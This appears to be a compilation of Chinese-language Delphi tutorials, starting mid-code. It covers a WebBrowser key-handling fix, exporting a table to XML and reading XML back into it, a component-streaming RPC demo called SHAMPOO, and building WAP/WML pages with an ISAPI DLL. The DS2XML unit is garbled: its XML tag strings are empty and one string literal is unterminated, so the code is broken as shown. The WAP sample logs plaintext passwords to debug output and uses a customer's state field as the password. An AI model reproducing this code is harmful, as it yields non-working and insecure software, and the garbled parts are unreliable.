if Dispatch <> nil then
begin
Dispatch.QueryInterface(IOleInPlaceActiveObject, iOIPAO);
if iOIPAO <> nil then
FOleInPlaceActiveObject := iOIPAO;
end;
end;

if FOleInPlaceActiveObject <> nil then
if ((Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP)) and
((Msg.wParam = VK_BACK) or (Msg.wParam = VK_LEFT)
or (Msg.wParam = VK_RIGHT) or(Msg.wParam = VK_TAB)) then
//either write a message handler for the particular message or do
//nothing - do not pass on Backspace, Left or Right arrows or tab
else
FOleInPlaceActiveObject.TranslateAccelerator(Msg);
end;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
SaveMessageHandler := Application.OnMessage;
Application.OnMessage := MyMessageHandler;

end;

procedure TForm1.FormDeactivate(Sender: TObject);
begin
Application.OnMessage := SaveMessageHandler;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Application.OnMessage := SaveMessageHandler;
FOleInPlaceActiveObject := nil;
end;

procedure TForm1.Button1Click(Sender: TObject);
var a,b,c,d:OleVariant;
begin
WebBrowser1.Navigate(Edit1.Text,a,b,c,d);
end;

initialization
OleInitialize(nil);

finalization
OleUninitialize;

end.


由数据库数据生成XML

procedure DatasetToXML(Dataset: TDataset; FileName: string);

unit DS2XML;

interface

uses
Classes, DB;

procedure DatasetToXML(Dataset: TDataset; FileName: string);

implementation

uses
SysUtils;

var
SourceBuffer: PChar;

procedure WriteString(Stream: TFileStream; s: string);
begin
StrPCopy(SourceBuffer, s);
Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;

procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataset);

function XMLFieldType(fld: TField): string;
begin
case fld.DataType of
ftString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
ftSmallint: Result := '"i4"'; //??
ftInteger: Result := '"i4"';
ftWord: Result := '"i4"'; //??
ftBoolean: Result := '"boolean"';
ftAutoInc: Result := '"i4" SUBTYPE="Autoinc"';
ftFloat: Result := '"r8"';
ftCurrency: Result := '"r8" SUBTYPE="Money"';
ftBCD: Result := '"r8"'; //??
ftDate: Result := '"date"';
ftTime: Result := '"time"'; //??
ftDateTime: Result := '"datetime"';
else
end;
if fld.Required then
Result := Result + ' required="true"';
if fld.Readonly then
Result := Result + ' readonly="true"';
end;

var
i: Integer;
begin
WriteString(Stream, ' ' +
'');
WriteString(Stream, '');

{write th metadata}
with Dataset do
for i := 0 to FieldCount-1 do
begin
WriteString(Stream, '');
end;
WriteString(Stream, '');
WriteString(Stream, '');
WriteString(Stream, '');
end;

procedure WriteFileEnd(Stream: TFileStream);
begin
WriteString(Stream, '');
end;

procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, 'end;

procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, '/>');
end;

procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
if Assigned(fld) and (AString <> '') then
WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;

function GetFieldStr(Field: TField): string;

  function GetDig(i, j: Word): string;
begin
Result := IntToStr(i);
while
(Length(Result) < j) do
Result := '0' +
Result;
end;

var Hour, Min, Sec, MSec: Word;
begin
case Field.DataType of
ftBoolean: Result := UpperCase(Field.AsString);
ftDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
ftTime: Result := FormatDateTime('hhnnss', Field.AsDateTime);
ftDateTime: begin
Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min, 2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3);
end;
else
Result := Field.AsString;
end;
end;

procedure DatasetToXML(Dataset: TDataset; FileName: string);
var
Stream: TFileStream;
bkmark: TBookmark;
i: Integer;
begin
Stream := TFileStream.Create(FileName, fmCreate);
SourceBuffer := StrAlloc(1024);
WriteFileBegin(Stream, Dataset);

with DataSet do
begin
DisableControls;
bkmark := GetBookmark;
First;

    {write a title row}
WriteRowStart(Stream, True);
for i := 0 to FieldCount-1
do
WriteData(Stream, nil,
Fields[i].DisplayLabel);
{write the end of row}
WriteRowEnd(Stream, True);

while (not EOF) do
begin
WriteRowStart(Stream, False);
for i := 0 to FieldCount-1 do
WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
{write the end of row}
WriteRowEnd(Stream, False);

Next;
end;

GotoBookmark(bkmark);
EnableControls;
end;

WriteFileEnd(Stream);
Stream.Free;
StrDispose(SourceBuffer);
end;

end.

生成XML文件。
我使用下面的转换方法：
I . XML文件的根名与表名相同(本例就是country)。
II. 每条来自于表的记录由<record></record>标记区分。
III. 每个来自于表的数据由其字段名标记加以区分。

- <country>
- <Records>
<Name>Argentina</Name>
<Capital>Buenos Aires</Capital>
<Continent>South America</Continent>
<Area>2777815</Area>
<Population>32300003</Population>
</Records>
.
.
.
</country>

建立一个新的应用程序。放置一个Button和Table构件于主窗体上。设置表属性如下：
DatabaseName : DBDEMOS
Name : Table1
TableName : country (Remove the extention ".db")
Active : True

选择 Project/Import Type library。将会弹出 "Import Type Library" 对话框。从列表中选择 "Microsoft XML,Version
2.0(version 2.0)" 然后点击 "Create Unit" 按钮。将会有一个 MSXML_TLB 单元加入你的工程.请将 MSXML_TLB 加入你要引用的单元的接口部分。然后在变量部分声明如下变量：
DataList : TStringlist;
doc : IXMLDOMDocument;
root,child,child1 : IXMLDomElement;
text1,text2 : IXMLDOMText;
nlist : IXMLDOMNodelist;
dataRecord : String;

添加makeXml函数到你的单元。它将通过读取DBDEMOS中contry表中的数据生成一个XML文件。
function TForm1.makeXml(table:TTable):Integer;
var
i : Integer;
xml,temp : String;
begin
try
table.close;
table.open;
xml := table.TableName;
doc := CreateOleObject('Microsoft.XMLDOM') as IXMLDomDocument;
//Set the root name of the xml file as that of the table name.
//In this case "country"
root := doc.createElement(xml);
doc.appendchild(root);
//This while loop will go through the entaire table to generate the xml file
while not table.eof do
begin
//adds the first level children , Records
child:= doc.createElement('Records');
root.appendchild(child);
for i:=0 to table.FieldCount-1 do
begin
//adds second level children
child1:=doc.createElement(table.Fields[i].FieldName);
child.appendchild(child1);
//Check field types
case TFieldType(Ord(table.Fields[i].DataType)) of
ftString:
begin
if Table.Fields[i].AsString ='' then
temp :='null' //Put a default string
else
temp := table.Fields[i].AsString;
end;

ftInteger, ftWord, ftSmallint:
begin
if Table.Fields[i].AsInteger > 0 then
temp := IntToStr(table.Fields[i].AsInteger)
else
temp := '0';
end;
ftFloat, ftCurrency, ftBCD:
begin
if table.Fields[i].AsFloat > 0 then
temp := FloatToStr(table.Fields[i].AsFloat)
else
temp := '0';
end;
ftBoolean:
begin
if table.Fields[i].Value then
temp:= 'True'
else
temp:= 'False';
end;
ftDate:
begin
if (not table.Fields[i].IsNull) or
(Length(Trim(table.Fields[i].AsString)) > 0) then
temp := FormatDateTime('MM/DD/YYYY',
table.Fields[i].AsDateTime)
else
temp:= '01/01/2000'; //put a valid default date
end;
ftDateTime:
begin
if (not table.Fields[i].IsNull) or
(Length(Trim(table.Fields[i].AsString)) > 0) then
temp := FormatDateTime('MM/DD/YYYY hh:nn:ss',
Table.Fields[i].AsDateTime)
else
temp := '01/01/2000 00:00:00'; //Put a valid default date and time
end;
ftTime:
begin
if (not table.Fields[i].IsNull) or
(Length(Trim(table.Fields[i].AsString)) > 0) then
temp := FormatDateTime('hh:nn:ss',
table.Fields[i].AsDateTime)
else
temp := '00:00:00'; //Put a valid default time
end;
end;
//
child1.appendChild(doc.createTextNode(temp));
end;
table.Next;
end;
doc.save(xml+'.xml');
memo1.lines.Append(doc.xml);
Result:=1;
except
on e:Exception do
Result:=-1;
end;
end;

在Button1的onclick事件中调用上面的函数
procedure TForm1.Button1Click(Sender: TObject);
begin
if makeXml(table1)=1 then
showmessage('XML Generated')
else
showmessage('Error while generating XML File');
end;

如果你用IE 5.0(或以上版本)打开生成的country.xml文件，它看起来会成下面的样子
- <country>
- <Records>
<Name>Argentina</Name>
<Capital>Buenos Aires</Capital>
<Continent>South America</Continent>
<Area>2777815</Area>
<Population>32300003</Population>
</Records>
- <Records>
<Name>Bolivia</Name>
<Capital>La Paz</Capital>
<Continent>South America</Continent>
<Area>1098575</Area>
<Population>7300000</Population>
</Records>
.
.
.
- <Records>
<Name>Venezuela</Name>
<Capital>Caracas</Capital>
<Continent>South America</Continent>
<Area>912047</Area>
<Population>19700000</Population>
</Records>
</country>

插入数据

你已经将country表中存在的数据生成了XML文件。因此在这个XML文件中的数据就与country表中是一样的。如果你想将XML文件中的数据插入进country表中又不想删除原来存在的数据的话，将会有主键冲突的错误出现。因此必须先将country表中已经存在的数据删除掉。
添加另一个按钮和一个memo构件于主窗体。在button2的onclick事件中添加如下代码.memo用来显示数据插入中的状态（成功/失败）。
procedure TForm1.Button2Click(Sender: TObject);
var
i,ret_val,count:Integer;
strData:String;
begin
//Before inserting data in to the country table,make sure that the data in
//the generated xml file(country.xml) and country table(DBDEMOS) are
//different.
try
count:=1;
DataList:=TStringList.Create;
memo1.Clear;
doc := CreateOleObject('Microsoft.XMLDOM') as IXMLDomDocument;
//Load country.xml file
doc.load('country.xml');
nlist:=doc.getElementsByTagName('Records');
memo1.lines.append('Table Name :country');
memo1.lines.append('---------------------');
for i:=0 to nlist.Get_length-1 do
begin
travelChildren(nlist.Get_item(i).Get_childNodes);
//Removes the first character(,) from dataRecord
strData:=copy(dataRecord,2,length(dataRecord));
memo1.lines.append(strData);
dataRecord:='';
ret_val:=insertintotable(Datalist);
if ret_val=1 then
memo1.lines.append('Data inserted successfully.............!')
else if ret_val=-1 then
memo1.lines.append('Error while updating.....Try again.....!');
memo1.lines.append('============================================='
+'==(Record no. :'+inttostr(count)+')');
DataList.Clear;
count:=count+1;
end;
except
on e:Exception do
Showmessage(e.message);
end;
end;

nlist(refer above program) contains a list of nodes.In our case the first node list is...

<Records>
<Name>Argentina</Name>
<Capital>Buenos Aires</Capital>
<Continent>South America</Continent>
<Area>2777815</Area>
<Population>32300003</Population>
</Records>

我们传送此节点列表给一个递归函数，travelchildren。它将递归地沿着节点列表查找文本数据，并将此数据加入TStringList(Datalist)变量中。当完成第一轮后，Datalist中将会包含字符串 Argentina,Buenos Aires,South America,2777815,32300003.最后我们将此stringlist传送给函数 insertintotable，它将完成将一条记录插入 country 表的工作。重复此过程即可完成整个XML文件数据的插入工作。
procedure TForm1.travelChildren(nlist1:IXMLDOMNodeList);
var
j:Integer;
temp:String;
begin
for j:=0 to nlist1.Get_length-1 do
begin
//node type 1 means an entity and node type 5 means EntityRef
if((nlist1.Get_item(j).Get_nodeType= 1) or (nlist1.Get_item(j).Get_nodeType=5)) then
travelChildren(nlist1.Get_item(j).Get_childNodes)
//node Type 3 means a text node,ie you find the data
else if(nlist1.Get_item(j).Get_nodeType=3) then
begin
temp:= trim(nlist1.Get_item(j).Get_nodeValue);
dataRecord:=dataRecord+','+temp; //this is for displaying a single record on the memo
DataList.Add(temp); //Datalist will contain one record after completing one full travel through the node list
end
end;
end;

function TForm1.insertintotable(stpt:TStringList):Integer;
var
i:Integer;
begin
table1.close;
table1.open;
table1.Insert;
for i := 0 to stpt.Count - 1 do
begin
table1.Fields[i].AsVariant:= stpt[i];
end;
try
table1.post;
result:=1;
except
on E:Exception do
result:=-1;
end;
end;

结论:
你可以将此程序推广至任何数据库，由此数据可以通过XML文件在网络（即使是internet）中传输并在其实终端上更新数据库。我在生成XML文件中还未考虑特殊字符如 &,<,>,',''等等。你可以在生成带这些字符的XML文件时作适合自己需要的改变.


SHAMPOO - 更好的 SOAP

问题提出/摘要:
SHAMPOO - "简单超级访问元协议 - 面象对象" - 面象对象的 XML "RPC" 协议,让Delphi 迈进分布式计算.

回答:
近来，一个新词经常出现-SOAP-它建立在简单对象访问协议上。SOAP的想法很好-这是一种建立在XML之上的平台无关的远过程调用(RPC)机制-我觉得它更象是"教一只新狗老把戏".SOAP的问题在于它基于一个老的范式-调用一个接口中的函数，该接口位于一个分布式的构件中。XML好在它用统一的方式表示数据结构，但SOAP却尝试对接口用XML编码，而不是对数据进行编码这种更好的方式。
SHAMPOO 建立在"简单超级访问元协议-面象对象"的基础上。OO使它与前者产生了不同。与SOAP模拟函数调用不同，SHAMPOO则将一个构件从一个地方传送到另一个地方-不管是在加工过程中还是加工过程外进行通信。不再调用一个远程对象的函数，你仅仅传送一个构件到远程处理。处理的类型当然依赖于被发送的构件类型。由调用部分将一个处理构件的结果产生并送回。因此最关键的事就是所有的部分都需要知道在他们之间通信交换的构件的类型。事实上到达的构件是通过流的形式传送的。将构件的属性保存于流中(二进制或文本)然后再从流中将构件读出来。Delphi从版本1开始就为它的Form使用form文件(.dfm)并且实际上Delphi的所有事物都基于persistent对象和RTTI(运行时类型信息).XML作为平台无关的文本数据交换的标准，很容易扩展成这种流式的Delphi构件.
下面是一个使用SHAMPOO的小例子。“Hello, Word" ;).
unit ShampooDemoMainFormUnit;

interface

uses SysUtils, Classes, Controls, Forms, StdCtrls;

type TShampooDemoMainForm = class (TForm)
PersonNameEdit: TEdit;
SayHelloButton: TButton;
RequestMemo: TMemo;
ResponseMemo: TMemo;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
procedure SayHelloButtonClick(Sender: TObject);
end;

TPerson = class (TPersistent)
protected
FPersonName : String;
public
procedure Assign (aPerson : TPersistent); override;
published
property PersonName : String read FPersonName write FPersonName;
end;

TBaseSHAMPOOComponent = class (TComponent);

THelloRequest = class (TBaseSHAMPOOComponent)
protected
FPerson : TPerson;

procedure SetPerson (const aPerson : TPerson);
public
constructor Create (aOwner : TComponent); override;
destructor Destroy; override;
published
property Person : TPerson read FPerson write SetPerson;
end;

TGreetingResponse = class (TBaseSHAMPOOComponent)
protected
FGreetingText : String;
published
property GreetingText : String read FGreetingText write FGreetingText;
end;

EBaseSHAMPOOException = class (TBaseSHAMPOOComponent);

EGreetingError = class (EBaseSHAMPOOException)
protected
FText : String;
public
constructor Create (const aText : String); reintroduce;
published
property Text : String read FText write FText;
end;

var ShampooDemoMainForm : TShampooDemoMainForm;

implementation

{$R *.DFM}

uses Dialogs;

function ComponentToString (const aComponent : TComponent) : String;
var aBinStream : TMemoryStream;
aStrStream : TStringStream;
begin
aBinStream := TMemoryStream.Create;
try
aStrStream := TStringStream.Create ('');
try
aBinStream.WriteComponent (aComponent);
aBinStream.Position := 0;

ObjectBinaryToText (aBinStream, aStrStream);

aStrStream.Position := 0;
Result:= aStrStream.DataString;
finally
aStrStream.Free;
end;
finally
aBinStream.Free
end;
end;

function StringToComponent (const aString : String) : TComponent;
var aStrStream : TStringStream;
aBinStream : TMemoryStream;
begin
aStrStream := TStringStream.Create (aString);
try
aBinStream := TMemoryStream.Create;
try
ObjectTextToBinary (aStrStream, aBinStream);

aBinStream.Position := 0;

Result := aBinStream.ReadComponent (Nil);
finally
aBinStream.Free;
end;
finally
aStrStream.Free;
end;
end;

function Process (const aComponent : TComponent) : TComponent;
begin
Result := Nil;
try
if aComponent is THelloRequest then
begin
with aComponent as THelloRequest do
begin
if Person.PersonName = ''
then raise EGreetingError.Create ('I do not talk to strangers');

Result := TGreetingResponse.Create (Nil);

with Result as TGreetingResponse do
begin
GreetingText := 'Hello, ' + Person.PersonName + ' !';
end;
end;
end;
except
if Assigned (Result)
then FreeAndNil (Result);

raise;
end;
end;

function RemoteServerProcess (const aString : String) : String;
var aRequestComponent : TComponent;
aResponseComponent : TComponent;
begin
aRequestComponent := StringToComponent (aString);
try
aResponseComponent := Process (aRequestComponent);
try
Result := ComponentToString (aResponseComponent);
finally
aResponseComponent.Free;
end;
finally
aRequestComponent.Free;
end;
end;

function CallRemoteProcess (const aComponent : TComponent) : TComponent;
var aRequestString : String;
aResponseString : String;
begin
aRequestString := ComponentToString (aComponent);

ShampooDemoMainForm.RequestMemo.Lines.Text := aRequestString; // for the example only

aResponseString := RemoteServerProcess (aRequestString);

ShampooDemoMainForm.ResponseMemo.Lines.Text := aResponseString; // for the example only

Result := StringToComponent (aResponseString);
end;

constructor EGreetingError.Create (const aText : String);
begin
inherited Create (Nil);

FText := aText;
end;

procedure TPerson.Assign (aPerson : TPersistent);
begin
if aPerson is TPerson then
begin
with aPerson as TPerson do
begin
Self.PersonName := PersonName;
end;
end
else inherited;
end;

constructor THelloRequest.Create (aOwner : TComponent);
begin
inherited;

FPerson := TPerson.Create;
end;

destructor THelloRequest.Destroy;
begin
FPerson.Free;

inherited;
end;

procedure THelloRequest.SetPerson (const aPerson : TPerson);
begin
FPerson.Assign (aPerson);
end;

procedure TShampooDemoMainForm.SayHelloButtonClick(Sender: TObject);
var aHelloRequest : THelloRequest;
begin
aHelloRequest := THelloRequest.Create (Nil);
try
aHelloRequest.Person.PersonName := PersonNameEdit.Text;

with CallRemoteProcess (aHelloRequest) as TGreetingResponse do
try
ShowMessage (GreetingText);
finally
Free;
end;
finally
aHelloRequest.Free;
end;
end;

initialization

RegisterClasses ([THelloRequest, TGreetingResponse, EGreetingError]);

end.

我演示的是如何将异常转变成流，尽管这很拙劣，但如果说要将SHAMPOO作为交叉平台和语言无关的应用，你只要轻易将"ComponentToString" 和 "StringToComponent" 函数替代成"ComponentToXML" 和 "XMLToComponent"就可以了。你可以在Borland代码中心(http://community.borland.com;位于 http://codecentral.borland.com/codecentral/ccweb.exe/listing?id=15597) 或者 (www.rapware.com)找到。你可以使用任意的传输协议传输文本--如HTTP, CORBA, Sockets, SMTP。


应用于移动电话的WML开发

本文作者：Jani J vinen

翻译整理：崔凯

众所周知，delphi有创建HTML文件的能力。然而，你知道吗？delphi也能用来创建一些新的WAP(Wireless Application Protocol) 设备所需要的WML文件。

这篇文章中，你将学习到如何创建一个快速的，使用一个wap电话或者是一个模拟系统的定制查询系统。现在来让我们来超越一下我们自己，来，让我们从头开始。

WAP是最新的可支持WAP的第三代移动电话所使用的协议。很多人都认为：WAP将把internet带入移动电话中去,这不完全正确；毕竟，现在我们还不能使用WAP来实现网上冲浪。WAP所能做到的无非是让你检索到和显示为WAP电话而专门开发的特殊文件。这些文件是使用WML语言来编制的。

WML语言和html语言类似，尽管还有很多格式化操作例如：嵌套表，层，颜色，还有不一样的打印字体等，这些还不能应用到WML中。但WML确实允许开发人员定义简单的文本格式，如：图像，链接，和文本输入的字段。它之所以只有这么简单应用，关键原因在硬件上。因为现在的移动电话还不能先是如此丰富的格式化操作。现在的移动电话只是使用很少的像素显示（大约是200*200），并且刚开始只能使大约4种灰色调，现在可以显示彩色了。这时，就需要一个新的标记语言来做这种电话的软件应用，因为，当前的HTML文件不能适合这样的屏幕了。这就是WML.协议。

WAP设备是通过标准的URL（ Uniform Resource Locator ,在Internet的WWW服务程序上用于指定信息位置的表示方法）来访问的。当WAP设备的使用者在他的WAP移动电话或者是其他设备上输入URL的时候，这台设备开始跟一个为它服务的WAP网关通过无线电波联系。

一个这样的网关通常会是由移动通讯设备操作人员的一台主机来代替，例如：MCIWorldCom或者是Sprint（截稿时，这两家公司的合并正悬而未决，但股东们已经基本同意了）。这台网关计算机除了接收移动电话的请求，并通过HTTP协议把它转到通常的INTERNET上去。在这里，那些设备提供WEB服务，它响应这些请求，并且把相关的WML数据返回到这台网关计算机上。这时，这个网关计算机在把相应的WML文件返回到发出请求的移动电话，最终在WAP移动电话的使用者面前显示这些文件。这就是整个通讯的全过程。

注：MCIWorldCom和Sprint都是美国著名的通讯公司，而在中国，是由中国移动通讯公司扮演该角色。

由于在INTERNET上使用HTTP协议来访问WML文件，所以WAP技术不需要设备提供商提供特殊的软件和硬件设备。一般的WEB服务，例如Apache和IIS（Microsoft Internet Information Server），都可以配置成适当的WML文件。而且，一个单一的WEB服务可以同时服务HTML和WML页面，正如WEB服务可以服务于各种不同类型的文件，例如：gif,jpeg,zip等。然而，应当制定一个单独的（虚拟的）WEB服务来为WAP服务，因为这样能使的用户更容易的记着那些URL.语言

---- WML是一种使用XML语法的语言。这意味着WML可以使用任何文本编辑器来写，甚至可以使用Notepad。而且，WML类似于HTML，许多WML标识符，例如：< b >, < i >, < big >, 和< a >都和在HTML中有着几乎完全相同的意义。以下代码是一个WML的例子：

< ?xml version="1.0"? >

< !DOCTYPE wml PUBLIC "-// WAPFORUM// DTD WML 1.1

// EN" "http://www.wapforum.org/DTD/wml_1.1.xml" >

< wml >

< card id="welcome" title="Welcome to" newcontext="true"

ontimer="#login" >

< timer value="30"/ >

< p align="center" >

< big >MA's On-line< /big >< br/ >

< em >Order Query System< /em >

< /p >

< /card >

< /wml >

---- 以上是一个使用WML 1.1版本编程的例子

---- 有一点WML和HTML不一样的地方是：在WML中一个文件不是像在HTML中叫做文件，而是叫做卡片组（deck）,一个卡片组是有一个或者更多的卡片（card）组。WAP手机屏幕上一次只能显示一张卡片，而且它仅仅能显示几行文本。

---- 现在的WAP手机一次只能处理小于1K字节的WML代码。所以，用WML写出来的代码必须非常小。并且，由于在WAP手机屏幕上显示的文本数量很有限，所以每一个WML代码必须很短。

---- 如果一个WAP卡片上的数据不适合屏幕大小的话，用户被迫滚动滚动条才能看清楚屏幕上的内容。现在最好的WAP手机不需要扩展的滚动条，与之相适应的是上面提供的都是小块的信息。用户现在可以在不同的窗口中通过前后翻屏的的操作浏览网页。

---- 浏览时用户可以使用一般的超文本链接，就像在WINDOWS中称之为任务条的东西，它可以使用一些特殊的用WML标识符编写的< do > 命令。

---- 例如,标识符< do type='accept' > < prev/ > < /do > 将允许用户在WAP设备中向后浏览网页。

---- 为了使用更为丰富的命令，而不仅仅是向前或者是向后浏览网页，WML可以被扩展成一种脚本语言，成为WMLScirpt. WMLScript就类似于在html世界中的JavaScirpt脚本。但是当然了，它的功能还很有限，但他仍然能够满足用户的输入，进行简单的计算，或者设置WAP浏览状态等的要求。开发工具为帮助用户实现WAP的解决方案，Nokia已经开发了一个基于java的wap 开发工具。它可以用来创建，测试，或者是调试wap设备。（请看下图）

---- 一个wap开发工具模拟一个真正的wap手机和微型浏览器。这个开发工具允许从磁盘或者是interner上载入任何类型的的wml 文件。当载入后，这个wap仿真系统处理该文件并将它显示在屏幕上。这时，开发人员可以使用移动电话的按钮来输入文本，选择选项和进行wap设备的定位。

---- 导航条可以通过使用书签来实现，这是这个开发工具本来就支持的。事实上，书签只是使得开发者的工作变得简单化的一个简单例子。例如：这个开发工具允许实时监视使用WML和WMLScirpt语言创建的各个变量。正如同在delphi中的'watch'窗口。虽然这个开发工具提供的功能非常有限，毫无疑问的，这个实时查看变量的功能使得开发者调试WML代码更加容易。

---- 由于这个开发工具允许开发者在标准HTTP协议下载入任何类型的文件，所以说，这个仿真系统是一个相当棒的测试运行在一台WEB服务器上的交互式系统的工具。当然了，这些页面都可以动态创建。DELPHI5通过内嵌的WebBroker技术来对构建web解决方案提供了很好的支持。通常， webbroker技术是用来创建动态的html解决方案，现在有很多流行的web服务器都采用。然而，由于它的灵活性，webbroker技术也可以用来创建WML。

---- DELPHI的解决方案

---- 又一个可提供下载的例程：是一个ISAPI的DLL程序。它可以在IIS3.0或者是更新的版本上运行，详细介绍这个ISAPI 的DLLS的文件超出了本文的范围，但是你可以在INTERNET上找到关于ISAPI的详细信息。其中最好的源代码是在 http://www.delphizine.com/include/Click_Redir.asp?Url=http://msdn.microsoft.com/. 上的Microsoft Developer Network (MSDN) 。需要查看调试ISAPI的DLLS的信息，请访问： http://www.delphizine.com/features/ 2000/04/di200004jj_f/di200004jj_f.asp#SidebarOne 在其中查看工具条"Debugging ISAPI DLLs."

---- ISAPI DLLS的缺省返回的是一般的HTML代码，它可以人工创建，也可以在DELPHI中的页面处理控件使用。当然了，最大的优点是DELPHI允许它很容易的连接到数据库，它可以查询到插入到HTML代码中的数据。我们的例程确实是这样实现的，它查询一个数据库，创建一个包含信息的WML，并且将查询的结果返回给用户。直接的说，例程使用的是在DELPHI中的DBDEMOS数据库别名。

---- 这个DBDEMOS数据库允许访问一个关于海上冒险的潜水设备转售的虚拟用户和订单数据库。这个例程允许WAP手机用户来浏览一个实时的给出的用户的订单信息。这个例程的名字叫："海上冒险订单在线查询系统"，或者简称为MAOOQS（关于下载的详细信息，请看本文结尾的详细细节） 。

---- 登录到海上冒险程序

---- 当你想使用MAOOQS的时候，在你的WAP手机上（或者是在WAP的开发工具中）输入http://myserver/login.wml，这时WML浏览器交要的显示一个"Welcome to" 屏幕，然后会出现一个登录屏幕，"Welcome to" 和登录卡的WML源代码如下所示：

< card id="welcome" title="Welcome to" newcontext="true"

ontimer="#login" >

< timer value="30"/ >

< p align="center" >

< big >MA's On-line< /big >< br/ >

< em >Order Query System< /em >

< /p >

< /card >

< card id="login" title="Login" newcontext="true" >

< p >

< em >Enter your ID:< /em >< br/ >

< input name="custid" value="1221" maxlength="4"

format="*N" emptyok="false"/ >

< em >Enter your password:< /em >< br/ >

< input name="password" value="HI" maxlength="10"

format="*M" emptyok="true"/ >

< br/ >

< do type="accept" label="Login" >

< go method="post" href="/scripts/ma_ooqs.dll/login" >

< postfield name="custid" value="$(custid)"/ >

< postfield name="password" value="$(password)"/ >

< /go >

< /do >

< /p >

< /card >

---- 登录屏幕包括两个输入字段，一个是用户的ID ，另外一个是密码。这两个字段是使用WML的< INPUT >标识符来创建的，用户输入的各种各样的名字是由NAME属性定义的。

---- < DO >标识符定义了一个< go >的作用，它指向例程的ISAPI 的DLLS（确省的路径是/scripts/ma_ooqs.dll）。< go >使用标准的http 的post命令来发送用户输入的数据到这个dll中。注意< postfield >标识符自动的指示浏览器通过http协议来翻译用户输入的$(custid)和$(password) 变量。

---- 当用户点击登录命令的时候，这个wap手机连接到这个dll，这样使得这个dll执行如图所示的登录动作。首先，代码从Request.ContentFields 属性中提取出custid 和password字段。当被确认之后，（又专门的数据库来保存这些信息，通过遍历数据库的方法来确认它，这个遍历的函数是IsValidCustID，如下代码说示

function TMAWebModule.IsValidCustID

(CustID, Password: string): Boolean;

begin

DebugMessage('IsValidCustID:'#13'CustID="' + CustID +

#13'Password="' + Password +' "');

Result := False;

with Customer do begin

try

Open;

if Locate('custno',CustID,[]) then

if (LowerCase(CustomerState.AsString) =

LowerCase(Password)) then

Result := True;

finally

Close;

end;

end;

end;

procedure TMAWebModule.MAWebModuleLoginAction(

Sender: TObject; Request: TWebRequest;

Response: TWebResponse; var Handled: Boolean);

var

CustID, Password : string;

begin

CustID := Request.ContentFields.Values['custid'];

Password := Request.ContentFields.Values['password'];

{ Check validity of custid/password. }

with Response do begin

if IsValidCustID(CustID,Password) then

begin

DebugMessage('CustID/Password is valid.');

MAWebModuleMainMenuAction(Sender, Request,

Response, Handled);

end

else

begin

DebugMessage('Invalid CustID/Password pair.');

ContentType := MIMETypeWML;

Content := InvalidIDPageWML;

end;

end;

Handled := True;

end;

---- 由于DBDEMOS数据库不包含真实的用户ID和相应的密码，例程使用客户表Customer 中的的CustNo字段来做ID,使用State字段来作相应的密码。为测试这个意图，你可以使用如下的ID 和PASSWORD："1221" and "HI"; "1560" and "FL"; and "1680" and "GA." 返回到浏览器上的WML代码

---- 一般的，WebBroker应用通过对在OnAction事件句柄中的Response对象的控制返回一些简单的HTML代码到浏览器中，。TWebResponse类通过Response 参数的一个Content 属性来表示，它可以接收被这个事件句柄创建的HTML代码。

---- 当用户的浏览器接收数据的时候，它根据它的MIME类型(Multipurpose Internet Mail Extensions)来处理它。TWebResponse 类的MIME类型缺省类型是"text/html"，它指定Content 属性的数据类型，确实的是，HTML代码。

---- 但是，WAP应用需要WML(version1.1)的数据的MIME类型"text/vnd.wap.wml." 因此，Response 对象的ContentType属性需要被改变。注意，ContentType 属性可以被改变成任何有效的MIME类型。例如：改变该属性为"image/gif" 就会允许改动作返回一个位图的图像数据（binary.gif）。

---- 当定义好正确的MIME类型后，该动作事件的句柄就会清楚的设置Content 属性可包含有效的WML代码。由于每一个由application产生的WML页都需要一个公共的题头，这个例程定义了一个名字是WMLHeader 的常量来包含这个信息。

---- 存储返回到数据库中的数据当用户成功登录之后，用户重新回到海上探险的主菜单。通过这个菜单，用户可以选择查看客户的信息或者是订单的状态。如果客户选择用户信息的超链接，将执行MAWebModule Web 模块的 CustInfoAction方法的这个定义过的方法。

---- 首先，代码返回到随着post http命令的CustNo参数，当登录的用户的信息在客户表中被查找到以后，代码创建包括三个输入字段的WML代码。最初，三个输入字段包括客户的zip号码，城市，和state,（记着，这个state是口令）. 用户可以调整这三个字段，他可以通过选择"Modify Info"命令，用户可以保存新的值返回到数据库。当用户选中这条命令的时候，将执行ModifyCustAction 方法。（见下图）

---- 在Delphi IDE 中的 MAWeb模块

procedure TMAWebModule.MAWebModuleModifyCustAction(

Sender: TObject; Request: TWebRequest;

Response: TWebResponse; var Handled: Boolean);

var CustID, State, City, Zip : string;

begin

CustID := Request.ContentFields.Values['custid'];

State := Request.ContentFields.Values['State'];

City := Request.ContentFields.Values['City'];

Zip := Request.ContentFields.Values['Zip'];

with Response do begin

ContentType := MIMETypeWML;

try

if LocateCustomer(CustID) then

begin

DebugMessage('Saving customer data:'#13 +

'CustID="' + CustID + '"'#13 +

'State="' + State + '"'#13 +

'City="' + City + '"'#13 +

'Zip="' + Zip + '"'#13);

Customer.Edit;

CustomerState.AsString := State;

CustomerCity.AsString := City;

CustomerZip.AsString := Zip;

Customer.Post;

Content := WMLHeader +

'< card id="modifyok" title="Info ' +

'Modified" newcontext="true" >' + CRLF +

' < onevent type="ontimer" >' + CRLF +

' < go method="post" ' +

'href="/scripts/ma_ooqs.dll/mainmenu" >' +

CRLF + ' < postfield name="custid" ' +

